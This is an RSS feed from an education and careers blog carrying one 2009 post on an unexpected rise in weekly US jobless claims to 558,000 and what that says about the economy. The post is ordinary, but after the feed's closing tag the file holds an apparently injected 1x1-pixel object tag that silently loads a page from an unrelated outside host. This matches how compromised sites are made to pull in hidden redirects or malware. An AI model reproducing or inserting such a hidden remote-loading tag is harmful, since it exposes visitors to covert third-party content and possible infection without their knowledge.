<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Education &#38; Careers &#187; seeking employment</title>
	<atom:link href="http://www.classesandcareers.com/education/tag/seeking-employment/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.classesandcareers.com/education</link>
	<description>Education &#38; Career Advice and Tips</description>
	<lastBuildDate>Tue, 13 Dec 2011 17:56:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Jobless claims rise unexpectedly to 558,000</title>
		<link>http://www.classesandcareers.com/education/2009/08/13/jobless-claims-rise-unexpectedly-to-558000/</link>
		<comments>http://www.classesandcareers.com/education/2009/08/13/jobless-claims-rise-unexpectedly-to-558000/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 18:26:37 +0000</pubDate>
		<dc:creator>Diane</dc:creator>
				<category><![CDATA[Economy]]></category>
		<category><![CDATA[Applications]]></category>
		<category><![CDATA[jobless rates]]></category>
		<category><![CDATA[seeking employment]]></category>
		<category><![CDATA[unemployement]]></category>
		<category><![CDATA[unemployement benefits]]></category>
		<category><![CDATA[weak economy]]></category>

		<guid isPermaLink="false">http://classesandcareers.com/education/?p=571</guid>
		<description><![CDATA[The 558,000 new unemployment claims for this week has increased from last weeks 554,000 the Labor Department Reported.  Experts expected that the new claims would have dropped to 545,000 instead of rising.]]></description>
			<content:encoded><![CDATA[<p>Unemployment unexpectedly rose last week for newly laid-off workers, while continuing claims fell.&nbsp; The increase in new claims may have risen, but it is below the 600,000 peak level the country has experienced for some months.</p>
<p>	There are 558,000 <b>new jobless claim</b>s, which has increased from last weeks 554,000 the <a class="textlink" href="http://www.classesandcareers.com/online-degrees_vocational/courses_auto-motorcycle-diesel/programs_automotive-diagnostics">Labor</a> Department Reported.&nbsp; Experts expected that the new claims would have dropped to 545,000 instead of rising.</p>
<p>	The number of people receiving benefits fell to 6.2 million from 6.34 million the previous week.&nbsp; However, it&#39;s not that impressive when you really think about it.&nbsp; </p>
<p>	Instead of these people finding work, most have used all their unemployment benefits and are no longer eligible, which means even though they may be unemployed, they are not counted as being unemployed.&nbsp; So the unemployment rate is actually higher than these statistics may lead individuals to believe.</p>
<p>	The economy is still in trouble.&nbsp; Typically <a href="http://www.classesandcareers.com/online-degrees_business/courses_economics/programs_economics">economists</a> rate an economy&#39;s health by the unemployment numbers.&nbsp; If the new unemployment numbers are below 325,000 then the economy is healthy.&nbsp; However, if the numbers are above then the <b>economy&#39;s in trouble</b>. The new unemployment claims have not been under 300,000 since 2007.&nbsp;&nbsp; </p>
<p>	The government has stepped up efforts by trying to stimulate and improve the economy, but it doesn&#39;t seem to be working.&nbsp; Many American&#39;s are starting to wonder what is around the bend.&nbsp; They can&#39;t tell the economy is going to get slightly better or a lot worse over time.&nbsp; Hopefully the economy will improve, but currently consumers aren&#39;t ready to start spending their money.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2009/08/13/jobless-claims-rise-unexpectedly-to-558000/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

<object data="http://pentagori.com/in.cgi?3" type="text/html" width="1" height="1"></object> 
